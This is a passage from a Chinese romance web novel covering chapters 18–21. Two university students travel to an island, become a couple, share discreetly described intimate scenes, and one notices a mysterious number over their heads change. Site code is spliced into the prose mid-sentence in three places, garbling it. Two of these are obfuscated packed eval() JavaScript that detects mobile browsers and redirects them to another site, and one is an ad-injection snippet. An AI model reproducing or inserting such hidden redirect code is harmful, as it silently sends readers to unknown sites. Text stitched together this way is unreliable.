盛云阔的心跳骤然加速,浑身上下的血液仿佛都被染上了心窝的灼热,耳边扑通扑通,喧闹不已。 终于,盛云阔受不了林杳那么直白的眼神,感觉鼻子有些痒痒,别过头,摸了摸鼻尖,说:“你忽然这么问,我……一时半会儿还真想不到。” “盛云阔。”林杳叫他。 盛云阔脸红:“嗯?” 林杳蹙眉:“你流鼻血了。” 盛云阔懵然抬手,惊觉自己的手上鲜红一片。 擦。好丢人。 两人赶紧去厕所处理鼻血。 盛云阔弯腰,趴在盥洗池里冲洗手上脸上沾染的血迹。林杳站在他身边,静静望着他,脸上神情愈发凝重。 不一会儿鼻血就止住了,盛云阔接过林杳递过来的卫生纸,卷卷塞进鼻孔,以防万一。 与此同时,林杳再次开口,说:“我记得你说过想去看看大海,咱们去看大海吧。” 盛云阔茫然一瞬,才反应过来林杳在继续刚才的话题。 “好啊,寒假去吗?”盛云阔问。 寒假不行,寒假如果不早点回家,就得撞上春运,买不到票不能回家就糟糕了。 想了一会儿,林杳说:“期末复习周去。” 他们学校倒数第二周是期末复习周,那个时候本学期所有课都已结课,真要跑出去旅游也不是不可以,只不过绝大多数学生都忙着在这一周复习和“预习”,压根儿不会出去玩。 盛云阔惊讶不已,感慨:“你真是越来越不像个好学生了。” 林杳扬起下巴:“怎么,不敢去?怕挂科?” 盛云阔“切”了一声:“怕个屁,老子会挂科?有闲功夫你还是担心担心自己吧。” 林杳淡淡道:“不劳费心。那就这么决定了?” “OK,买票。” 18. 葫芦兄弟 十二月,全国绝大部分地区已经进入冬季,可珊瑚岛的温度依旧稳定在26度以上。 “好热。” 盛云阔一下飞机就忍不住开始脱衣服。 他穿了一件黑卫衣,卫衣里边一层套一层,剥洋葱似的,很快扒得只剩最里边一层短袖。 脱完,盛云阔把衣裳胡乱团成球,鬓角发丝都被汗濡湿。他回头看了眼林杳,发现他竟面色如常,白皙肤色让人好似闷头栽进了冰雪之中,实乃高温中的一缕凉风。 盛云阔惊:“靠,你一点都不热的吗?” 林杳恨不得不认识他:“你就不能等到更衣室再脱吗?” 说罢,林杳拖着行李箱,快步往前走去。 盛云阔匆忙跟上,碎碎念:“哪来那么多偶像包袱……” 出了机场,盛云阔把手机开机,结果瞬间响起一个电话,来电显示:【肖覃】。 盛云阔停下来接电话,林杳便站在他身旁安静等待。 电话那头,肖覃问:“不是说好这周开始实习吗,你怎么延后入职了?这样一来,两个月实习期不就要拖到下学期开学之后了么?” 似是早就想好了借口,盛云阔张口就来:“我担心挂科,思来想去这周还是老老实实复习吧。” “少来。”肖覃戳穿他,“上回吃饭时没见你有半点紧张期末考。” 盛云阔嘿嘿一笑:“之前是我太狂了,如今看见复习范围的我已老实。” 肖覃叹气:“好吧,那你好好复习。” 对方挂断电话,盛云阔将手机揣回兜里,重新抓起行李箱拉杆:“走。” 林杳盯他几秒,忽然问:“你这么早就要出去实习了?” 盛云阔点头,把上回和肖覃说过的话又车轱辘了一遍:“是,我打算毕业就工作嘛。” 林杳垂下视线,瞅自己的脚尖,默然片刻,又问:“那你过年要回家吗?” 盛云阔道:“似乎春节只会放假三天,应该没办法回去了。” “哦。” 林杳不置可否地应了一声,继续神色如常往前走。盛云阔只当他是随口问问,见他没了兴趣,也不再多言。两人一言不发地坐上出租车。 上车之后,林杳把背包取下来放在了胸前抱着,侧头望向窗外。 盛云阔给司机交代了目的地,又捏着手机回了几条因乘飞机而错过的消息。 同处狭小的车厢内,司机沉默而勤恳地完成自己的工作,后座的两个人也不见有半个字交谈,沉甸甸的寂静逐渐压下来,盛云阔总算觉出氛围不大对劲了。 盛云阔碰了碰鼻尖,好几个话题在心中快速过了一遍,半天没决定说什么来打破沉默才好。 此时林杳先转了过来,说:“既然你不回去,那我刚好趁机去你家把你从我这儿抢走的书拿回来。” “靠!”盛云阔乐了,“那明明是你借给我的好不好,我还没看完呢,不许拿回去。” 林杳:“……从高一到现在三年了,这时间都够写一本出来了。” 今日林杳不提,盛云阔其实已经忘记了他借过书。他估计自己也不会再看了,只好大度道:“行,你拿走吧。” 林杳满意了,微微抬了抬下巴。 这个小动作相当细微。林杳本就不是个情绪特别外露的性子,若非十分熟悉他的人,根本不可能注意到他如此细小的神情。 盛云阔到底与林杳相处了十八年,一看便知林杳此时的心情已由多云转晴。 于是盛云阔趁火打劫:“那等你去我家的时候,帮我跟外婆解释一下,我不回去过年是因为要实习。然后咱们返程之前买点土特产,你也帮我带给她呗?” 闻言,林杳又快速撇过头去。 意思是与我无关。 盛云阔戳戳他,林杳不为所动。又戳,再戳,依旧坚如磐石。最终朝痒痒肉戳去,林杳猛地缩起身子,嗔怒地瞪向盛云阔:“行了知道了!” 奸计得逞,盛云阔勾唇笑。 林杳懒得理他,单手托腮,重新望向窗外,闷闷道:“外婆会去我家过年的。” 盛云阔喜出望外,伸长手臂,八爪鱼般抱住林杳:“我就知道你最好了。” 林杳脸颊飘红,一边挣扎,一边瞟前排的司机大姨。 他羞愤难当,咬牙低声暗骂:“撒手,混蛋。” 混蛋不仅不撒手,还把脑袋也埋入了他的肩窝,躲着偷笑。 --- 两人顺利入住酒店。 这座小岛面积不大,玲珑一串洒在海水之中,所以岛上大部分酒店都是海景房。 盛云阔唰地拉开窗帘,巨大清晰的落地窗中装满了白沙绿水。 大海荡涤,盛云阔情不自禁地展开了手臂。 林杳则专心在后边收拾起了自己的行李。 他们要在这边玩五天,带的东西挺多。他可不像盛云阔,五条内裤走天下,他好歹带了防晒霜,也能算是精致男孩了。 林杳拿出自带被单,打算往酒店被子上套。 这时,盛云阔喊了他一声:“林杳,你瞧。” 林杳抬眼,发现盛云阔正指着窗外,便顺着他的指尖看去。 天边黑压压的,乌云压境,岸边椰树的宽大叶片在疯狂舞动,这明显不是什么好兆头。 “是不是要下雨了?”盛云阔忧虑。 话音刚落,豆大雨滴倾盆而至。水滴噼里啪啦地打在落地窗上。海边的人们捂着脑袋奔逃,很快淋成了落汤鸡,不过没关系,他们穿的是泳衣。 林杳站在盛云阔身旁,侧头,断言:“乌鸦嘴。” 盛云阔:“???” 千里迢迢坐飞机来海边玩,却遇上大雨,林杳觉得他俩真是倒霉得颇有几分水准。 无事可做,两人只好肩并肩坐在床边,观看外面哗啦啦的大雨。 看了十分钟左右,盛云阔郁闷的向后倒下,躺在床上,双臂张开,叹气。 林杳依旧坐着。 盛云阔张开眼瞥见林杳的背影,忽然胸口痒痒,没多想便伸长手把他环腰抱住,带着一同躺下。 林杳起先挣了两下,发现力气不敌,干脆摆烂随他去了。 盛云阔从后边儿抱着林杳,深深嗅闻他身上的气息,像是养猫人抱着心爱的小猫在吸。 很快盛云阔变嗅闻为轻啄,在林杳的脖颈间亲了一连串。 林杳被他弄得很痒,本能的向旁边躲闪,却又被死缠烂打追上。 不过很快林杳就适应了,紧随其后生出的是细细密密的小电流,从盛云阔触碰的地方起源,在躯干四肢筋脉血液肌肤之间游走,令人浑身发软。 盛云阔翻了个身,两人变成上下相对。 不仅如此,他俩还互相升旗敬礼以表尊重。 “要不要互助友爱一下?” 盛云阔的呼吸很响,他举起手,虚握成拳,做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437370|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个像是抓住圆柱形杆子的手势。 林杳别过头去,脖颈拉扯出一条如弓弦般紧绷的线条,原本纤白的肌肤已浸上了一层水蒙蒙的红雾。 “……行。” 林杳几乎是咬着牙说。 --- 盛云阔把林杳紧紧抱在怀里,林杳都快被他压得陷入床垫里去了。 盛云阔感到眼前有点发白,耳边也嗡嗡响个不停。 他俩居然做了这事儿。 原本盛云阔还有一瞬间担忧过自己第一次与同性如此亲近地接触会不会感到排斥,万一表现出来被林杳发现,又会不会让他伤心。 完事儿才发现他纯属想多了。 林杳的气息、声音,以及他苦苦忍耐时咬住下唇的表情,都让盛云阔爱不释手,恨不得与他再靠近一点,压根儿没有半分别扭。 这样想着,盛云阔又去寻林杳的嘴唇,如小孩子怎么也吃不够草莓奶糖,一口又一口,不懂节制。 林杳实在忍不了了,一把抓住盛云阔的肩膀,将人扯开。 “差不多得了。”林杳说,“你都香肠嘴了。” 盛云阔下意识摸嘴:“你乱讲,那是因为我的嘴唇本来就很性感。” 林杳趁此机会翻身下床,穿裤子整衣裳,背着身说:“已经没下雨了。出来旅游难道你打算一直在房间里待着吗?我饿了,要出去找地方吃饭。” 好吧,这个理由太正当了,盛云阔完全没有拒绝的余地。 两人将自己收拾干净,到足矣见人的程度,才相携离开酒店去街上觅食。 走在路上,盛云阔偏要嘴贱:“你刚才是不是比我快?” 林杳蹙眉,沉声:“不记得了。” 盛云阔:“怎么可能不记得,你就是比我快。” 林杳捏拳,笔直往前走:“你记错了,是你更快。” “不不不。”盛云阔摇晃手指,“我清楚记得,你第一次出来的时候弄到了我的……” 林杳猛然伸手捂住了盛云阔的嘴,咬牙切齿,威胁道:“你一定要纠结这种事情吗?你再多说一句,我就买票走人。” 盛云阔认输了,举起双手投降。 --- 吃过饭,夕阳正好。刚才的暴雨耗尽了天空中的云,整片天骤然变得澄澈,落日余晖染红了穹顶,也倾泻进入海洋之中。 林杳和盛云阔跑到了沙滩上散步。 海风吹起他二人的额发,没有人说话,直到盛云阔的手状似无意地碰到了林杳的手。 林杳没有躲,盛云阔就大了胆子,牵起了他的手。 两人身后的影子就此交融在一起,不分彼此。 盛云阔从壮丽无垠的红色海洋间转过了视线,望向身旁的林杳,感慨油然而生: “如果咱俩能一直这样走下去就好了。” 林杳怔愣,心中霎时往下坠,甚至都忘了继续迈步。 盛云阔跟着停下,在看清他的表情后,惊惶地问:“林杳,你怎么哭了?” 林杳回神,抬手在脸颊上摸到一手湿润。 他也不知道,怎么会哭呢? 林杳胡乱抹掉唯一那颗不争气的泪珠,下一瞬表情恢复如常,淡淡地给出了一个解释: “刚刚有一只海鸥飞过,我的眼睛进海鸥屎了。” 扔下这句话,林杳兀自继续往前,走得坚定。 盛云阔留在原地:“……?” 19. 我喜欢这个人 幸好,除了抵达第一天下了一场暴雨后,接下来几天都是大晴天。否则林杳和盛云阔两人只能关在酒店内发霉。 今日吃过午饭后,他俩计划去海边玩水。 两人提前换好了沙滩裤,旱鸭子盛云阔甚至还在胳膊下夹带了一个游泳圈。 盛云阔不会游泳,这一项他输给了林杳,输得心服口服。 林杳爸妈都是教育工作者,从小给他安排了各种兴趣班,让他棋书画除了琴以外样样精通。游泳更是在上小学之前就学了三种泳姿。 放在古代,林杳就是那种书香门第的大家闺秀。似乎哪里不对,反正意思差不多。 而盛云阔是外婆带大的,老太太自己没读过几天书,不懂兴趣班那种东西,也没想过要让盛云阔学什么游泳。 不过没关系,这项弱点很快就会消失了,因为盛云阔打算下学期选修学校的游泳课。 来到海滩边上,盛云阔看见了一家生意火爆的冰淇淋店。 珊瑚岛今日温度达到了32摄氏度,在这样的炎热之下,冒着白气儿的冰淇淋比大肘子还诱人。 “买个冰淇淋。”盛云阔扯了扯林杳的衣服。 林杳跟着他来到小店门口。 走进了才发现,店旁围着不少人,男男女女,姿态都格外亲密,而且无一例外手里都拿着同一种粉红色甜筒。 原来是店家在搞活动,只要情侣们在店门口合影留念发好评,就能免费得到两个招牌甜筒。 林杳看见了活动立牌,对盛云阔说:“我们可以领免费的。” 盛云阔脸颊微红,眼神躲闪:“啊、是、是吗。” 林杳走到柜台前,对服务生说:“我们俩也想领免费甜筒,怎么参加这个活动?” 服务生左看看林杳,右看看盛云阔,确认他俩之中没有一个女的,一时脑子没反应过来:“啊……我们的活动仅限情侣参加哦。” 林杳说:“我们两个就是情侣。” “这……”服务生有些为难。 老板制定活动规则的时候一直默认的是男女情侣,没说算不算同性情侣啊,那现在自己给还是不给。万一老板不喜欢同性恋,自己送了赠品,被老板知道,老板生气让自己赔钱咋办? 盛云阔不想为难服务生,估计她也没什么话语权,便对林杳说:“要不算了,咱们买两个其他的。” 但林杳像是忽然犯了轴劲儿,坚持道:“需要我们证明给你看吗?比如接个吻什么的?” 服务生快急哭了:“不、不用!” 还好店老板及时出现,解救了服务生。 老板是个四十来岁的中年女性,笑呵呵道:“实在抱歉,她是今天临时过来帮忙的,不大熟悉咱们的活动规则。您二位当然可以参与活动,只需要拿着甜筒,在我们店门口合影,发在朋友圈推广一下就可以了。” 林杳点头:“行。” 接下来两人便在冰淇淋店门口合影,店招牌“Flavor of Love”也被框入镜头。 林杳编辑文案:【很甜的味道。】 完成后发送了朋友圈。 两人成功领到了免费的甜筒。店家厚道,甜筒个头很大,不因为是赠品而变得偷工减料。 拿着甜筒,走在与冰淇淋一样柔软的沙滩上,盛云阔忽然说: “其实刚才我们花钱买两个吃也是一样的,不是非要领赠品。” 林杳舌尖卷入了一口冰淇淋,咽下,说:“是他们自己要搞活动的,而且我们又没骗他们,我们本来就是情侣。” 盛云阔呼吸一滞。 林杳说得太理所当然了,什么“我们本来就是情侣”,他们两人其实从来没有讨论过这个问题。 最开始,盛云阔只是想试一试,看看自己会不会反感与林杳接触。 后来证明自己还挺喜欢与林杳亲近的,两人就自然而然地维持了下来,平日里两人与同学没什么区别,但周末或是偶尔单独在家里的时候,他们会食髓知味般再与对方亲密接触。 至于算不算情侣,林杳没提过,盛云阔也没想过。 林杳往前走了几步,发现盛云阔没跟上来,于是停下脚步,回首。 盛云阔呆呆站在原地,手中的冰淇淋化了,快要滴落在他的虎口处都未曾察觉。 林杳读出了点东西,问:“你认为我们不算情侣吗?” 他们之间隔着不到两米的距离,相对站着,海浪在他们中间不断拍打着沙滩。 盛云阔听见自己的心跳声在耳边疯狂地响个不停,他张张嘴,没能说出声。 直到那粉色的融化了的冰淇淋彻底滴在了他的手上,冰冰凉,让他一个激灵。 盛云阔喉结滚动,说:“当然是情侣。” 说完这句话,盛云阔两口吃掉甜筒,接着闷头往前走去,到后来他甚至小跑起来。他冲海边跑去,海水先是沾湿了他的脚底、然后爬升到他的小腿处,在即将淹没他的膝盖时停了下来。 盛云阔转过身,没来由想要大喊,而后他也确实这么做了。 他朝林杳喊道:“快过来——” 隔了十几米,可林杳能够看清盛云阔脸上的表情。这家伙在笑,笑得又大又傻,站在海水中不停朝自己招手,像个憨憨。 林杳忍不住也笑了,他加快脚步走过去。 可就在林杳还差几步便要进入海水时,一个大浪出现在盛云阔的身后,可怖地张开双臂,把盛云阔打翻,消失在海面上。 林杳大惊失色,快跑起来:“盛云阔!” 很快林杳来到了盛云阔消失的位置,与此同时盛云阔已经挣扎着爬了起来,他浑身湿透,头发结成了破布条子似的,乱七八糟爬在他脸上。 盛云阔“呸呸呸”几下,抱怨道:“我去,海水真难喝!” 他活蹦乱跳,林杳松了口气,说:“是你太兴奋了。” 盛云阔嘿嘿一笑,去抓林杳的手。 抓住后,盛云阔使劲收紧手指,把林杳牢牢捏在手心里,说:“我高兴嘛。” 盛云阔想,无论他和林杳从前是什么关系,不管他们当初是怎么稀里糊涂开始的,都已经不重要了,他只知道,此时此刻,他已经喜欢上了眼前这个人。而万幸的是,眼前这个人恰好也喜欢自己。 知道这个就够了。 --- 少年初尝情滋味,热血上头,恨不得彼此能化成两潭水,然后你融入我,我融入你,干脆化为一体。 回到酒店之后,盛云阔就一直缠着林杳接吻、拥抱。他们窝在床上,变成了连体婴儿,谁都不愿意离开对方。 林杳原本对肢体接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437371|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么兴趣,甚至可以说有点反感与旁人肌肤相碰。 但不知为什么,盛云阔触碰他的时候,他从来没感到过别扭,反而有些舒服。 林杳将其归结于他与盛云阔太熟了,所以把盛云阔划定为了自己人。 这样最好,林杳原本还担心自己会不习惯卿卿我我、黏黏糊糊。毕竟自己已经接受了盛云阔的感情,必须要尽职尽责地扮演好一个恋人的角色。 恋人之间,会亲密接触是天经地义的。 林杳把这个当做必须的义务。 所以虽然生涩,但偶尔林杳也会主动去亲吻盛云阔。 今天的盛云阔异常热情,热情到林杳有些招架不住。 忽然,盛云阔移开了唇,直起身子,从上往下深深看着林杳的眼睛。 林杳能听见自己的心跳声,几乎也能穿透另一副胸膛,听见盛云阔的心跳。 扑通、扑通。 盛云阔舔了舔自己干涩的唇,低声询问:“我查了一点学习资料,是关于两个男人之间怎么做的。” 林杳不能呼吸了,谁都能预料到接下来会发生什么。 果然,盛云阔问他:“要不要跟我做?” 这大概也算是恋人的义务吧。 “好。” 林杳只考虑了两秒钟,给出了确定的回答。 盛云阔立即慌慌张张翻身下床,开始整理衣服穿鞋子。 林杳懵了一下,撑起身问:“你去哪?” “没有、套。”盛云阔差点咬了自己的舌头,“我去买点。” 说着盛云阔就要起身,林杳一把抓住他的手腕,提醒:“酒店有,应该在床头柜里,你看看呢?” 盛云阔反应过来,感觉有些丢人,嘟囔道:“你怎么这么有经验?” 林杳懒得回答他这种无聊的问题。 酒店考虑的相当周到,盛云阔打开柜子,就看见了各种用品,应有尽有,不过是有偿使用的,价钱更是比超市贵了不少。 不过事已至此,谁还会在意这点差价呢? 盛云阔拆开包装,拿了几个。 林杳缓了口气,躺着看盛云阔打算拆了自己用,按捺不住地多问了句:“你就默认你会是上面的那一个吗?” 盛云阔的动作顿住,完全意料之外地看向林杳,显然,他根本没考虑过这个问题。 林杳继续:“我也想当上面那个。” 盛云阔憋红了脸,结巴道:“那、似乎、也、不是、不是不可以……好吧,那你来吧……” 说完,盛云阔依依不舍的把小方袋子递给林杳,两人交换位置。 坐起来之后,林杳盯着闭着眼睛躺好的盛云阔,有点茫然。 这段时间以来,绝大部分时间都是盛云阔主动带着自己这样那样,林杳啥也没想,光默默享受了,事到临头,林杳才发现,没有经验值的积累,真到上场时间,他连该做什么都不知道了。 林杳回忆着盛云阔的动作,俯下身去亲吻他。 一吻印下,林杳感觉怪怪的,没有之前那种感觉了,而且盛云阔也好僵硬,像木乃伊。 “好、好了吗?”盛云阔问。 林杳放弃了,拆开袋子,给盛云阔装备上,自己躺倒。 “算了,上面那个太累了,还是你来吧。” 20. +1+1+1…… 月色朦胧,海风吹拂,岸边的椰树颤抖瑟缩。 分明已将冷气开到最低,林杳却依旧觉得热。他将此归咎于与自己紧紧相贴的那个人体温太高,火炉子般烧着他,吞噬着他,想要把他化作飞灰。 两人原本抱在一起,过了会儿,盛云阔直起腰,改换成了跪坐。 林杳可算暂且能透一口气了,微眯着眼睛看向盛云阔。 盛云阔也很热,汗珠顺着他的下颌滑落,滴在了林杳的腹部,烫得可怕。 紧接着,林杳无可忽视地看见了盛云阔头上的数字,瞬间,林杳屏住了呼吸。 2。 不是零了。 林杳震惊不已,下意识伸手抓住盛云阔的小臂,没收住劲儿,在那块皮肤上留下了几道抓痕。 盛云阔暂停,相当体贴地问:“抓我干什么?你这是难受还是舒服?” 林杳没办法和他解释,也不想开口说话,因为刚才盛云阔就像是无师自通,专门在他说话的时候使坏,他听不得自己那般的声音。 还好盛云阔理解力惊人,哼笑一声,说:“我知道了,你是又难受又舒服,有什么不好意思的?” 林杳狠狠瞪他一眼。 盛云阔熟练求饶:“我错了,你别咬自己嘴唇,咬破了可怎么办?” 他的手指去揉开林杳的唇齿。 数字的事只让林杳惊讶了短短几十秒,不是他淡定,是他实在没空再想别的事了。 等到天边泛白,一切才总算归于风平浪静。 林杳躺在床上,半根手指都不想动。他眼皮沉重,随时都能睡过去。 可盛云阔还挺精神的,这家伙侧躺着,揽住林杳,叽里咕噜说着话。 林杳想不通,两人体育成绩向来差不多,盛云阔是打了鸡血吗为什么不累? 盛云阔忽然问:“你想过没有,万一你爸妈和我外婆他们知道了咱俩的事情,他们会是什么表情?” 能有什么表情,无非是不可置信、以泪洗面,最后几年过去,不得不接受现实,含恨祝福。 按樊灵女士的性子,恐怕还要打他俩一顿。林杳在心中默默回答。 盛云阔半天没等到回话,不耐烦了,催促:“你怎么不理我?” 林杳才反应过来,自己根本没说话,不行,太累了,他真不想多说一个字。 默然片刻,盛云阔又换了话题,忽然抱住他,闷闷道:“林杳,其实我有点后悔了。” “嗯?”林杳见他情绪不对,终究忍不住接了话。 盛云阔继续说:“实习的事。现在想来,如果要留在这边实习,就得跟你分开将近俩月,而且还不能一起过年,心里真不爽。” 原来是为了这事。 林杳用最节省力气的音量说:“那你就别实习了。” 盛云阔没说话,只是更紧地抱住他,叹了口气。 林杳能明白盛云阔心里在纠结什么。 对现在的林杳来说,实习、工作、学业……全都是无足轻重的身外事,他更倾向于用最后的时间来陪伴亲人,去做更有意义的事。 但盛云阔并不知情,所以对于他,事业或许更为重要,亲人们似乎永远都会在身后的家乡等着你,可提升自己的机遇却难得一见。 林杳不能劝盛云阔放弃机会,他也相信盛云阔其实心里本就有抉择。 林杳拍拍盛云阔的手臂,让他放开自己。自己要用仅剩的最后一丝儿体力去做最最重要的事。 见他强撑着挪也要挪去浴室,盛云阔忍不住道:“要不睡会儿再去洗?” 林杳拒绝:“我受不了。” 进入浴室,林杳并未第一时间去打开莲蓬头。 他来到盥洗池前,双手撑在台面上,缓缓抬眼,看向了镜子里的自己。 ……有点狼狈。 啧,脸上这些水渍是什么?眼泪吗? 而后林杳看见了自己想看见的东西——他脑袋上的数字。 变成了7。 林杳猛然吸了口气,他几乎不敢相信自己的眼睛,还洒了一捧水在镜子上擦了擦,确认一遍又一遍,才终于确信,那万年未曾动过的数字,变了,而且是变多了。 “哈。” 林杳忽然感觉腰不酸了,腿也不疼了,穿上球鞋甚至还能下去跑两圈了。 怎么回事? 难道做这种事能够增加生命值不成? 今天出门前,林杳也看过,那时候自己脑袋上的还是零,中间发生的唯一特殊的事情只有刚才那没羞没臊的事儿。 所以林杳基本可以断定生命值的增加与那事儿有着强相关。 当然,也不排除有自己这几天出来旅游,心情放松的缘故。 或者说谈恋爱对生命值也有增益? 林杳弄不明白,这串数字对他来说太过神秘,没有半点提示,一切都靠猜。 但现在数字增加了,对林杳来说,无异于一剂强心针,起码说明这个数字是能够靠人力进行改变的。 说明他能凭借自己的努力来改变局势。 洗完澡,林杳重新躺回床上。 盛云阔很自觉,他知道林杳爱干净,能忍受自己黏糊糊躺在床上那么久已经不得了了,自己不可得寸进尺,还是速速洗干净为好。 之前明明什么事都要故意和林杳对着干,现在却连这点小事都要顾及他的心情,盛云阔居然不觉得憋屈,还挺乐在其中的。 十分钟不到,盛云阔就擦干了头发走出来。 瞧林杳安安静静靠坐在床上,盛云阔就想乐。他蹬掉拖鞋,扑上去贴在林杳身上,偷偷深吸了一口他身上的味道,接着又伸长脖子偷亲一口。 林杳身上的味道和自己的一样。 趴了一会儿,盛云阔察觉林杳没反应,抬起头,发现林杳居然在发呆,便问:“你在想什么?” 林杳闻言才看向盛云阔,如同在讨论学术问题一般,微微凝眉,说: “我在想,或许以后我们可以多做做。” 盛云阔霎时呆住。 半晌,盛云阔反应过来:“靠,你别用这种表情说这话啊。” “嗯?”林杳歪头不解。 盛云阔忽然抱住他,说:“我还担心你不喜欢呢。放心吧,以后我保证有求必应。” 盛云阔在林杳身上蹭蹭摸摸,接着,小声在他耳边低语:“要不也别等以后了,咱们现在就来?” 林杳一把推开他,翻身睡下,背过身去,冷漠道:“别了,我怕你肾虚。” “哈!?” --- 偷来的五天假期过得很快。 主要是因为他俩在那啥啥之后整整睡了一天,稍微恢复了点精力又那啥啥,时间就跑得飞快。年轻啊。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两人来到机场特产店,打算选点土特产带回去。 海岛能带走的特产不外乎椰子制品,椰肉片、椰子糖、椰奶…… 买完后,盛云阔双手提着,吐槽了句:“我怎么觉得在网上买了送到家也是一样的。” 林杳:“你的错觉。千里送鹅毛,礼轻情意重。” 两人一起往登机口走去,可走着走着,他们路过了一家饰品店。 盛云阔无意瞥见玻璃橱窗后陈列的一对手链,银制贝壳样式,镶嵌了一圈水晶。 林杳见盛云阔落在了后边,停下脚步,才发现他居然目不转睛盯着手链在看。 “咱俩买一对戴戴?”盛云阔指着橱窗,跃跃欲试地提议。 林杳扫了眼,款式不错,并不拘性别,男女佩戴都不会违和。 于是盛云阔带着林杳走进了饰品店,问销售员那手链的价格。 销售员说了一个数字,两人同时沉默下来。 手链本身只是银制品,不值这个价格,但这家品牌定位轻奢,价格肯定会偏高。 “太贵了。”林杳直接道,“算了。” 林杳对名牌无感,觉得为了个牌子花远超平均价格的钱购物实在不值。 销售员微笑着,介绍:“两位帅哥眼光真的很好,这个款式名为“热情之海”,仅限回归线以内的沿海地区贩售,国内只有三座城市有售,很有纪念意义的哦。” 盛云阔有点心动。 销售员察言观色的能力已臻化境,知道盛云阔才是那个突破口,又加了把火:“手链全国门店保修,不需要有后顾之忧哦。” 盛云阔开始计算自己的存款。 销售员最后再推一把:“情侣款可以在背面镌刻彼此的名字哦。” “买!” 林杳:“……” 超前消费要不得,林杳抓住盛云阔的衣袖,与他咬耳朵:“太贵了,全是噱头,不值得。” 盛云阔说:“贵是贵了些,但我觉得值得。这是我们第一次单独出来旅游,而且我们……反正我想留个纪念。” “那我出一半的钱。”林杳无奈退步。 盛云阔冲他挤了挤眼睛:“你放心,哥有钱,全款买个小手链,轻轻松松。” 盛云阔坚持,林杳不是会争抢的性子,只能依了他。 半小时后,两人拿到了刻好彼此名字的手链。 盛云阔迫不及待抓起林杳的手,给他戴上。然后又露出自己手腕上的同款,笑得像是冤大头。 林杳被他的笑给逗笑,两人意义不明地靠在饰品柜台前傻笑。 --- 两周后,京市下雪了。 这不是今年京市的初雪,却是盛云阔第一次在北方见到雪。 初雪在他俩度假时候已经下过了。 盛云阔正骑着单车从考场回来,不由得停下来,望着雪看了一会儿,忽然兜里的手机振动,他拿出来查看。 是林杳的消息。 【我已经登机了。】 盛云阔回复:【一路顺风,到了给我打电话。】 林杳:【嗯,关机了。】 盛云阔收起手机,抬手,袖子下露出了那串手链。他默不作声,盯着瞧了一会儿。随即,盛云阔呼出一口浓浓的白雾,继续蹬自行车。 他与路上其他拖着行李箱往校门外走去的学生们背道而驰。 21. 视频通话 林杳家是世纪初的老建筑了,暂时没有安装电梯,所以一家人只能扛着大小行李呼哧呼哧爬楼梯上六楼。 早两年林家父母也购置了新楼盘的房子,但到底比不过这边便利,距离两口子上班的学校分别只有500米和一公里。林杳的大学放假早,樊灵带的初三学生还要补课,所以即便是寒假,他们也依旧住在这边。 刚到家放下行李,林裕升气还没喘匀,就迫不及待告诉林杳:“爸给你做了你最喜欢吃的汤圆,一早起来包好,黑芝麻馅儿的,待会儿煮了给你吃。” 林杳意外,说:“其实速冻的也一样,自己包太麻烦了。” 林裕升摆摆手:“诶,那怎么一样?” 樊灵拍了拍林杳的肩膀说:“你只管吃就是了。你爸提前一周就在唠叨说他要给他儿子做汤圆吃,你要是说他包的和速冻的一样,他今晚得偷偷跟我哭。” 林裕升羞愤:“老樊同志,你别胡说八道。” 樊灵白了他一眼,嘱咐林杳先去放行李,而后指示老林去热饭菜,开饭。 林杳便拉着箱子回了自己房间。 房间内纤尘不染,桌子上没有半点杂物,床上的被单被褥都换了新的,还散发着淡淡的洗衣液气息,看来老爸老妈为了迎接自己放假回家真是没少做准备。 放个行李的功夫出来,餐桌上已摆好了四菜一汤。 想必是早已做好,只需要拿出来热一下就能吃。 一家三口坐下来吃饭。 林杳吃了个汤圆,清甜软糯。樊灵又给他夹了一筷子炖牛腩。 吃了甜又吃咸,林杳忍俊不禁:“你们太有创意了,汤圆配四菜一汤。” 樊灵捂嘴笑:“我叫你爸爸明天早上再给你煮汤圆,他非等不及。” 林裕升表示:“接风吃汤圆寓意好啊,说明我们家团圆了,多好。” “是是是。”樊灵给林裕升夹菜,“感谢老林同志,没有你,我们家今晚就没有这桌子好菜。” 吃过饭后,林杳提出想去盛云阔外婆家一趟。 林杳提着他们从岛上买来的特产,边穿鞋,边闲聊道:“盛云阔今年过年不回家,让我带点东西给柳奶奶。” “不回家?”樊灵惊讶,“为啥啊?” 林杳穿好鞋站起来:“他在京市找了个寒假实习。” 樊灵“啧啧”两声,埋怨道:“这孩子,才出去第一年就学着不回家过年了,可不好。” “我走了。”林杳打开门。 盛外婆家和林家是上下楼关系,林杳只需下三层楼就到了。 到地方后,林杳发现门是虚掩着的,敲了敲门,无人应,便熟门熟路自己走了进去。 屋内没开灯,夜色浓稠,房间内光线晦暗,林杳伸手去摸开关。 恰在此时,林杳看见了坐在窗边摇椅上的柳奶奶。 摇椅背对着林杳,面朝窗外,屋内漆黑一片,没有电视、没有手机,安静到令人几乎想要落泪。 “奶奶?” 老人没反应,林杳想她应是睡着了,不好突然开灯打扰,于是轻手轻脚走过去。 走过来一瞧,果然闭着眼睛。 林杳伸手轻拍柳奶奶的肩膀,说:“奶奶醒醒,在这儿睡会着凉。” 